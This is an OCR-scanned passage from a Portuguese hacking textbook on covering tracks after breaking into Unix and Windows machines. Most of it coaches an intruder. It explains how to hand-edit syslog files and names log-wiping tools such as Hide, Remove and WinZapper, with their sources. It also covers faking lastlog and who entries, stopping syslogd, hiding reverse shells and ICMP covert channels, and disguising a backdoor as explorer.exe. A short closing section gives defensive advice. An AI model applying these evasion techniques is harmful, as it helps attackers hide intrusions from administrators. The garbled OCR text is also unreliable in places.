mes dos arquivos de registro de eventos e onde esto gravados.
Como usurio comum (no root) em um Conectiva Linux 9, o arquivo /etc/
syslog.conf mostra:
$ cat /etc/syslog.conf
# Log alI kernel messages to the console.
# Logging much eIse clutters up the screen.
#kern.*
/dev/console
# Log anything (except mail) of leveI info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none /var/log/messages
# The authpriv file has restricted access.
authpriv.* /var/log/secure
# Log alI themail messages in one place.
mail.*
/var/log/maillog
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg
*
# Savemail and news errors of leveI err and higher in a
# special file.
uucp,news.crit /var/log/spooler
# Save boot messages also to boot.log
locaI7.* /var/log/boot.log
Obviamente, cada um dos arquivos indicados no syslogd possui uma funo
diferente. Todas as linhas marcadas com um # so consideradas como coment-
rios e ignoradas. O campo da esquerda define uma srie de regras de registro
a serem aplicadas s mensagens. Os campos da direita indicam em quais arqui-
vos os registros tm de ser gravados. Observe que, no syslog.conf acima, o
ftltro kem.. est direcionado para /dev/conso1e - ou seja, as mensagens do
kemel seriam ecoadas no terminal, caso a linha estivesse descomentada. Como
se pode ver, dispositivos tambm podem ser usados para logging, alm dos
arquivos comuns.
1340 I
Ataque, defesae contra-ataque: EvasoI
Universidade 3a ano
Pelo que podemos observar do syslog.conf, temos, em /var/log,
~/var/log/messages: registra todas as mensagens de nvel informativo do sistema.
~/var/log/secure: registra acesso a arquivos e processos restritos.
~/var/log/maillog: registra mensagens de e-mail enviadas e recebidas.
~/var/log/spooler: registra erros em trocas de Mail, UUCP e News.
~/var/logiboot.1og: registra eventos e erros durante o boot.
Novamente lembrando: essas localizaes so para o Conectiva Linux 9111
Procure no prprio Unix invadido quais as localizaes reais dos arquivos.
possvel que o nmero e a funo deles seja diferente: pode haver um arquivo
apenas com todos os logs, ou podem haver, por exemplo, um arquivo separado
para UUCP e outro para e-mail. Script kiddies normalmente usam ferramentas
e scripts de apagamento de logs de um sistema em outro e, em vez de se escon-
derem, acabam criando mais mensagens de erro nos logs e alertanto o adminis-
trador mais cedo do que o esperado. Olhe antes de agir e faa a coisa certa.
Uma vez descobertos quais os arquivos responsveis pelo registro de even-
tos do Unix sob ataque, podemos passar edio deles. Apesar de existirem
ferramentas que aplicam criptografia forte nos arquivos de log, a grande mai-
oria dos sistemas ainda usam o bom e velho texto puro para grav-los. O que
significa que o hacker pode usa seu editor de textos preferido (emacs, vi, joe,
pico...) para edit-Io manualmente. Os autores recomendam sempre editar
manualmente os arquivos, evitando que sujeira, erros ou imprecises nos scripts
que o fazem automaticamente possam colocar tudo a perder.
Ainda no CL9, vamos ao diretrio /var!log e vejamos o que h por l:
$ ls
XFree86. o.10g boot.log.4
XFree86. o.10g.old cron
apache cron. 1
boot. 10g cron. 2
boot .10g.1 cron. 3
boot.log.2 cron. 4
boot.log.3 cups
Observe: alm dos arquivos do syslogd, o diretrio /var!log contm os registros
de outros programas e servidores que rodam na mquina, como Apache, Samba,
CUPSe o XFree86. Convm verificar os logs de todos eles, uma vez que alguma
ao sua (intencional ou no) pode ter deixado marcas em qualquer deles.
Ocupemos-nos primeiro dos cinco arquivos do syslogd. Ainda como usurio
comum, abra (com seu editor de textos favorito) o arquivo boot.1og. Nele es-
to os servios sendo executados, os mdulos do kemel carregados e os servi-
dores que so iniciados e finalizados pelo inetd. Note que h outros, chamados
boot.1og.1, boot.1og.2, etc, que guardam logs antigos. Agora tente escrever
qualquer coisa e salvar o arquivo (sempre como usurio comum). Permisso
negada! Os outros arquivos - maillog, messages, secure e spooler - sequer
do permisso de leitura a usurios comuns.
1341 I
I Ataque, defesa e contra-ataque: Evaso
dmesg mai11og. 2 messages. 4 netconf .10g.3
secure. 4 vtund
htmlaccess.log mai 110g. 3 mysql.log
samba spooler wtmp
iptraf mai11og. 4 mysql.log.l.gz scrollkeeper.log spooler.l wtmp. 1
kdm .10g messages nagios
secure spooler. 2
lastlog messages.l netconf.10g
secure. 1 spoo1er. 3
mai110g messages. 2 netconf. 10g.1
secure.2
spoo1er. 4
maillog.l messages. 3 netconf .10g.2
secure. 3 uucp
I Universidade H4CK3R I
Logue-se como root (ou, em um sistema invadido, consiga acesso a root usando buffer
overflow ou outra tcnica qualquer) e abra os arquivos. Verifique as sintaxes deles.
Maillog registra a atividade de SMIP,IMAPe POP locais (sendmail, postfix, qmail, imapd,
pop3d...). Messages muito importante: registra as mensagens entre processos e en-
tre eles e o keme1. Secure, por outro lado, registra mensagens de acesso privilegiado a
arquivos e processos. Por sua vez, spooler guarda as mensagens oriundas de progra-
mas que usam os servios de spool (mail, uucp, news, etc). Mesmo que voc no tenha
mexido com o servidor de SMfP ou POp, prudente verificar tambm os arquivos /
var!log/maillog e /var!log/spool e ter certeza de que, inadvertidamente, voc no dis-
parou algum processo que tenha alterado o logoO mesmo vale para qualquer proces-
so ou arquivo, portanto um cuidado geral no log primordial.
Voltando ao /etc/syslogd.conf, a linha
# Everybody gets emergency messages, plus log them on another
# machine.
*.emerg
indica que quaisquer mensagens de emergncia do sistema sero ecoadas a todos
os logs e a todos os usurios. Cuidado com isso: se o sistema detectar coisas estra-
nhas acontecendo, possvel que todos os usurios sejam avisados - portanto, uma
boa idia parar o servio syslogdou reinici-locom essa linha comentada. Consulte
as pginas de manual do syslogd e do syslog.conf no Unix afetado para detalhes.
Mas, alm do que monitorado pelo syslogd, h outros arquivos de real impor-
tncia. Um deles o sistema utmp/wtmp/lastlog. O utmp um subsistema que
registra quem est conectado no presente momento. Quando o usurio (ou o
administrador) emite um comando who, o comando vai ler em /var/run/utmp
as informaes sobre todas as contas em uso, em quais terminais elas esto e, se
for uma conexo remota, o W de origem da conexo. Por exemplo, no momento
em que estas linhas esto sendo escritas, o comando who informa:
henrique pts/O Feb 16 14:42
henrique pts/1 Feb 16 16:07
Entretanto, eu posso dizer ao comando who em qual arquivo olhar. Se eu
emitir o comando who /var/run/utmp, o resultado ser o mesmo: who sem
argumentos sempre l o arquivo utmp. Mas e se eu pedir para who consultar
em /var/log/wtmp?
henrique pts/3
henrique pts/3
james pts/O
root tty1
henrique tty2
henrique tty3
root tty4
root pts/O
root pts/1
Jan
Jan
Fev
Fev
Fev
Fev
Fev
Fev
Fev
13421
Ataque, defesa e contra-ataque: Evaso I
*
9 05: 14
9 05: 16
2 11: 50
5 22:16
5 22:17
5 22:23
5 22:40
5 22:49
5 22:52
(192.168.1.229)
(192.168.1.229)
Universidade 3a ano
o arquivo muito grande, ento mostramos apenas algumas linhas. Observe:
No dia nove de janeiro, o usurio Henrique fez duas conexes a esta mquina
(que, a ttulo de curiosidade, era a 192.168.1.11) a partir de outra, a 192.168.1.229.
No dia dois de fevereiro, o usurio James logou-se localmente na mquina, e no
dia cinco o usurio Henrique logou-se como root vrias vezes.
O comando last faz um cruzamento de informaes entre os arquivos /var/
log/lastlog e /var/log/wtmp e mostra na tela as informaes detalhadas dos
ltimos dias sobre os tempos de login e logout de cada usurio e mesmo de
reboot da mquina. O comando lastlog, por outro lado, mostra quando cada
um dos usurios do sistema logou-se pela ltima vez. Um usurio desativado
que tenha dado login ontem um evento alarmante.
Para o administrador de sistemas, usar os comandos last, lastlog e who para
verificar o /var/log/wtmp uma medida tanto preventiva como corretiva. Por-
tanto, imperioso para o cracker que quer apagar seus vestgios exclui todas
as menes a ele nesses arquivos. Ento nosso intrpido invasor usa o pico (...)
para editar, por exemplo, o /var/log/wtmp e tem uma desagradvel surpresa:
o arquivo no de texto puro, mas binrio! O mesmo ocorre com /var/run/
utmp e com /var/log/lastlog. Ento, o que fazer? Desespero...
Conforme dissemos antes, h ferramentas automticas para limpeza do utmp,
wtmp e lastlog. Uma delas (entre muitas) o Hide (www.hoobie.net/security/
exploits/hacking/hide.c). Este pequeno programa apaga as entradas do usurio
que o executou no arquivo utmp, caso esteja liberado para escrita para aquele
usurio. Obviamente sistemas modernos no cometem essa tolice e deixam o
utmp liberado apenas para root, mas uma excelente prova de conceito.
O cdigo-fonte do programa, sendo pequeno, fcil de entender. Obviamente
a esta altura o leitor j deve saber que ter de compilar o programinha para
que ele funcione. Dependendo do sistema, podem ser necessrias algumas alte-
raes. No Conectiva Linux 9, por exemplo, bastou substituir todas as funes
exit( ) por exit(O). Nota-se a que o candidato a hacker deve obrigatoriamente
aprender a programar (ou pelo menos, a "se virar") em C e C++. Se voc no
quer aprender a programar, bem, jogue este livro fora: voc no quer, defmiti-
vamente, elevar seu nvel tcnico, mas apenas aprender receitinhas de ataque
simples. Hackers riem de vocs, enquanto isso.
No mesmo site encontramos outra ferramenta muito famosa, desenvolvida pelo
no menos famoso hacker Simp1e Nomad, chamada (puxa...) Remove
(www.hoobie.net/security/exploits/hacking/remove.c). Com ela, possvel remo-
ver quaisquer usurios de qualquer um dos trs arquivos utmp, wtmp e lastlog. Foi
desenvolvidaparaAIX, mas pode ser facilmente compilada (como est ou com modi-
ficaes simples) em qualquer sabor de Unix, incluindo linux e {Free,Open,Net}BSD.
Alm de remover os registros referentes a qualquer usurio (e no apenas ao que
executar a ferramenta, como o Hide), o Remove permite que se altere o ltimo usu-
rio que fez login e o local de login (IP,se remoto; tty ou pst, se local).
13431
I Ataque, defesa e contra-ataque: Evaso
IUniversidade H4CK3RI
Compile e teste os dois programas em sua mquina de testes. Faa vrias
experincias, como aumentar e diminuir o nvel de permisses dos seus utmp,
wtmp e lastlog e rodar as duas ferramentas. Note que, num ataque real, o inva-
sor normalmente precisa de um shell root para rodar o Remove, embora no
precise, necessariamente, de tantos privilgios para atacar o sistema. Depois
de brincar com esses, procure por outros tipos de ferramentas. Nomes muito
comuns so Cloak, Cloak2 (ou Cloak-2) Zap e LogWEdit. Muitos rootkits pos-
suem ferramentas (embutidas ou no) para edio desses arquivos. Veja, por
exemplo, a documentao do Knark e do Irk5. Mas lembre-se: nunca use a pea
redonda no buraco quadrado! Pesquise sobre a ferramenta correta para o Unix
que est sendo atacado.
Caso nenhuma dessas ferramentas esteja disponvel no momento, alguns tru-
ques podem ajud-Io a permanecer escondido por algum tempo. Por exemplo,
quando se acessa o sistema por uma conta "hackeada", provavelmente o acesso
vai ficar gravado no arquivo lastlog, com o IP de conexo ou o nome de domnio
correspondente. Para apagar isso (ao menos no lastlog), uma vez feito o login
com sucesso, rode o comando rlogin na mesma conta. Pronto! Agora, o ltimo
login desta conta ter sido local, e no arquivo lastlog aparecer "from localhost".
Falta enganar o comando who. Uma vez logado no sistema (e depois de enga-
nar o lastlog...), use o comando login e fornea, novamente, o usurio e senha
desta conta. Dependendo do Unix (e de quanto ele est atualizado...), isso es-
conder a origem da conexo, fazendo o comando who pensar que algum
est conectado localmente.
Para terminar, procure pelos logs especficos dos servidores e aplicativos
que rodam no computador invadido. Alm dos logs de sistema, procure pelos
do Apache ou do servidor de FTP'Cada sistema e sabor Unix possuem daemons
de verses e procedncias diferentes e com um procedimento diverso de logging.
No vamos discorrer sobre todas as possibilidades aqui, pois tomaria o espao
de vrios livros como este; mas imperativo que o leitor pesquise sobre isso
no ambiente invadido. justamente por isso que a observao importante,
antes de fazer qualquer coisa.
Como tarefa para casa, experimente verificar os logs do Apache e do Squid
em sua mquina de testes. Experimente simplesmente conectar-se a ela a partir
de outra maquina como um usurio regular (por exemplo, faa uma conexo
SSH a ela, use-a como proxy com o Squid ou acesse uma pgina HTML de
testes). Depois, siga todos os passos de invaso vistos nos captulos anteriores,
desde rodar um nmap contra a mquina at realmente conseguir root por
algum mtodo e alterar alguma coisa. Observe atentamente os arquivos de log
e veja o que acontece.
ltima dica: www.hoobie.net.
13441
Ataque, defesae contra-ataque: Evaso[
Registro de eventos no Windows NT/2k/XP
Como vimos no captulo sobre plataformas Windows, todo o funcionamento
do Windows baseado em eventos. Portanto, nada mais lgico que seus logs
tambm registrem os diversos eventos ocorridos no sistema. Um servio espe-
cial chamado EventLog d conta do recado. Eos problemas j comeam por ele
mesmo: os logs s so criados se as rotinas de auditoria do Windows estiverem
ativadas. Como nem todos os administradores o fazem, h a um grande furo de
segurana aproveitado por crackers.
Os eventos so registrados em duas etapas. Em primeiro lugar, so armazena-
dos em arquivos temporrios chamados APPLICATION.LOG,SYSTEM.LOGe
SECURITY.LOG(no Windows XP, esses trs arquivos tornaram dezenas deles
em C\ WINDOWSou C\ WINN1). Depois de algum tempo, tais dados so guar-
dados em trs arquivos de[mitivos: SecEvent.Evt, SysEvent.Evt e AppEvent.Evt,
todos guardados em C\WINDOWS\SYSTEM32. So arquivos binrios, assim
como o utmp do Unix, e portanto necessitam de aplicativos especficos para
serem editados. Cada um deles, respectivamente, registra um conjunto diferen-
te de eventos: segurana (tentativas de login fracassadas ou no, acesso a arqui-
vos no autorizados, etc), funcionamento do sistema (inicializao, terminao
e falhas em servios e drivers) e funcionamento de aplicativos (inicializao,
terminao e falhas em programas do user space).
Da mesma forma como no registro, que pode ser consultado e alterado com
o uso do RegEdit, os eventos do sistema podem ser visualizados (mas no alte-
rados) com o Event Viewer. Para acess-Io, dique em IniciarlExecutar e rode o
comando eventvwr. A tela apresentada ser parecida com esta:
Observe: foramos al-
guns acessos~d~jad~ i
com um usuano nao-pn- i
vilegiadoe depois anali- i
samos os logs em um
Wmdows XP .
Para alterar os logs,
deve-se usar outras fer-
ramentas, uma vez que
o Event Viewer ape-
nas um visualizador.
H algumas dispon-
veis em sites de
hackers, mas preciso
fazer alguma pesquisa
para tal. O site NT Security (ntsecurity.nu) oferece uma ferramenta chamada
WinZapper, que permite alterar os logs de servidores Windows NT e 2000.
~Audlto,las"
~Audl'o,la s"
~Audl'o,la s".
i-
~Audlto,las"
~ Audlto,l. s"
~Audl'oda s"
~Audl'",la s"
~ Audl'o,l. s"
# Audl'",la ".
# Audlto,lac"
# Audlto,lac"
# Audl'o,la c"
# Audl'",la c"
,fi' Audlto,l. c"
# Audl'oda".
# Audl'o,l. c"
24/612003
24/612003
24/612003
-
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
24/612003
241612003
19:39:03
19:39:03
19:39:03
IIIIID
19:38:55
19:38:55
19:38:55
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:50
19:38:45
19:38:45
19:38:45
19:38:45
Universidade 3a ano
Securl', Logonde con'a
Securl', LogonllogoFF
Secu,l'y Logonde con'a
",_IiIi!ffitI.....-
Securl', Logonde con'a
Securl'y LogonllogoFF
Secu,l'y Logonde con'a
Secu,lty LogonllogoFF
Securl', Logonde con'a
Securl'y Logonllogoff
Securl', Usode p,lvllo"
Securl', LogonllogoFf
Secu,l', Logonde con'.
Secu,l', Monl'ora,o d"
Securl'y Monl'ora,o d"
5ecurl', Monl'ora,o d"
Secu,l'y
1345 I
IAtaque, defesa e contra-ataque: Evaso
IUniversidade H4CK3R I
Escondendo suas conexes
J discutimos anterionuente sobre como tornar suas conexes indetectveis.
Comeando com os rootldts, que criam um ambiente artificial e "mentem" so-
bre as comunicaes existentes, passamos por mtodos de embutir as cone-
xes em outras e acabamos por usar tcnicas que penuitem, inclusive, comuni-
caes sem conexo. Vamos apenas relembrar algumas das tcnicas vistas, reu-
nidas aqui como uma espcie de "reviso".
Para comear, existem as tcnicas de Layer-Ovistas no captulo anterior e que
usam sniffmg+spoofing para receber comandos na mquina vtima. Adicional-
mente, usam o "estofo" e campos inteis nos cabealhos TCP/IP para enviar
dados ao hacker a partir do computador invadido. O hacker tem de se posicionar
no meio do fluxo de dados para poder "esnifar" os pacotes sem perder nada,
uma vez que no so destinados fonualmente a ele.
H dois captulos, vimos como usar o Netcat para "empurrar" um shell com
uma conexo vinda de dentro para fora. Dessa forma, o administrador, mesmo
que verifique a conexo com netstat ou outra ferramenta, ver uma inocente
conexo originada de dentro da rede. H ferramentas que vo mais longe e
mascaram essa conexo como se fosse uma requisio HTTp,POp, FTP ou mes-
mo SMTPvinda de dentro. Na mquina do hacker, h um programa que simula
o servidor desejado (HTTp'por exemplo) e manda, travestidos de resposta HTTP,
os comandos a serem executados na vtima. Usar HTTP realmente eficaz e
imoral, pois a porta 80 estar sempre aberta para que usurios internos faam
conexes Web.
H ainda duas maneiras adicionais (entre muitas outras) que deixamos como
trabalho para casa. possvel, em mquinas Unix, "ricochetear" um X-terminal
para a mquina do hacker, caso o servidor X esteja rodando e sua porta (nor-
malmente a 6000) esteja aberta e no filtrada. E tambm possvel trocar in-
formaes entre a mquina do hacker e a vtima (seja Windows, Unix, Macintosh,
Novell...) usando trfego ICMP.Dica: Lold.
A maneira de esconder trfego depende de cada caso. H redes em que a
comunicao via ICMP seria impraticvel, pois o firewall bloqueia esse tipo de
trfego. Mas importante que o hacker que queira manter um canal seguro de
comunicao com os backdoors de suas presas imp1emente algum tipo de ca-
muflagem. Hoje em dia, os administradores no so to despreocupados quan-
to a trfego suspeito como h quatro ou cinco anos.
Uma ltima dica: rode seus backdoors com nomes do sistema, de forma a
aparecerem como processos comuns. Por exemplo, no Windows um servidor
B02K pode ser renomeado para explorer.exe. No Unix, poderia chamar-se
inetd ou lpd.
13461
Ataque, defesae contra-ataque: Evaso[
Universidade 3a ano
Defesa e Contra-ataque
Algumas medidas podem ser tomadas para impedir ou, pelo menos, dificul-
tar o trabalho de camuflagem dos hackers maliciosos.
Apagamento de logs
Em primeiro lugar, certifique-se periodicamente de que a auditoria do siste-
ma esteja realmente rodando, e os logs sendo criados. Em mquinas Unix, veri-
fique o syslogd; no Windows, o EventLog. H hackers que, em vez de editar os
logs, desligam a auditoria e deixam registros falsos e que no mudam nunca.
Administradores "desligados" e alguns verificadores de integridade de arquivos
so enganados com essa tcnica simples e grosseira.
Em segundo lugar, verifique se quem tem permisso de escrita ou mesmo
leitura dos logs realmente deveria possu-Ia. Apesar de bvio, este cuidado ge-
ralmente deixado de lado mesmo por administradores experientes. Utilize a
poltica da mxima restrio possvel. Nesse caso, sempre, menos mais.
Aplicar criptografia a terceira providncia bvia. Ao contrrio das duas
anteriores, normalmente os logs no so criptografados por padro, com fer-
ramentas do prprio sistema. Em vez disso, so necessrios programas de ter-
ceiros para a tarefa. Cada sistema operacional possui diversas possibilidades.
Contate seu fornecedor para obter mais informaes.
Outra maneira muito eficaz (mas no to bvia) de proteger os logs grav-
los em mdias apenas de leitura. CD-Rs so especialmente teis nessa hora.
possvel que haja problemas de desempenho no acesso a disco, mas os drives
mais modernos j possuem velocidade aceitvel para a tarefa. O fato que os
hackers no conseguiro alterar o log porque isso no fisicamente possvel.
Preparar um servidor especial para armazenar os registros de eventos de
todos os outros computadores tambm um artifcio interessante. Isso cria
diversas camadas de dificuldade para o invasor chegar at, ou mesmo saber
onde esto, os verdadeiros arquivos de registro. Novamente, contate seu forne-
cedor para conhecer as opes de servidores de logging disponveis para seu
sistema operacional.
Um ltimo truque, que no bloqueia, mas retarda o invasor mais habilidoso,
colocar os logs em locais fora do padro e deixar, nos locais-padro, simula-
cros. Em se tratando de kiddies, esse expediente simples criar a impresso
falsa de que "limparam a barra", quando na verdade continuam sendo
monitorados.
Camuflagem de conexoes
Para comear, e em consonncia com o que vimos nos captulos anteriores, o
invasor no deve conseguir, de forma alguma, acesso privilegiado ao sistema.
13471
IAtaque, defesa e contra-ataque: Evaso
I Universidade H4CK3R I
Root ou administrador, esse acesso deve ser evitado ao mximo. Portanto, apli-
que as correes do seu fabricante, mantenha senhas difceis, desative servios
no usados, bl bl bl... A velha frmula de sempre, que deve ser aplicada a
qualquer situao.
Conhea o que voc est rodando. Saiba os processos que podem e os que
no deveriam aparecer na lista de tarefas, bem como as conexes que deveri-
am (ou no) estar estabe1ecidas. Verifique-os periodicamente, mais de uma vez
por dia em casos de suspeita de ataque e mais de uma vez por hora caso o
ataque tenha sido detectado.
Uma ltima dica: o Snort consegue detectar canais de comunicao baseados
em ICMP.Snort x Loki... jogo interessante.
Uma despedida?2
Bem, chegamos ao fmal de nossos estudos formais. emocionante v-Io for-
mado e diplomado. Mas lembre-se que sua educao sobre hackerismo no
termina com o ltimo captulo: veja o que preparamos para voc no CD! Alm
disso, faa todas as experincias do livro e visite todos os sites indicados. E
tambm teste todas as ferramentas sugeridas. Voc ver que so muito poucas,
se comparado ao que h disponvel. V atrs! Aprender a ser "hacker" (ou como
quer que voc chame) um processo contnuo.
Despedimo-nos aqui (lgrimas nos olhos!) e esperamos que possamos nos
encontrar em breve, em outro curso, talvez.
Mas mantenha contato com seus velhos professores! Mande-nos suas suges-
tes, crticas e colaboraes para este livro. Todos esto convidados a participar.
Escreva mesmo!
Nosso endereo: univh4ck3r@digeratLcom.br.
E no esquea de acessar nosso site em www.digerati.com.br/livro
Um grande abrao, e at mais. Happy Hacking!
2 digno de nota que este livro chegou at aqui sem citar nenhuma vez A arte da guerra: Sun Tzu . No
h publicao moderna que no se aproveite desse venervel exemplo da literatura clssica. Os autores
procuraram fugir do lugar-comum, e portanto decidiram (contrariando sugestes disparadas de todos os
lados) no incluir nenhum trecho do milenar compndio. Entretanto, o livro muito bom e vale a pena ser
lido, de graa e on-line, em www.kimsoft.com/polwar.htm.
3481
Ataque, defesa e contra-ataque: Evaso r

Você também pode gostar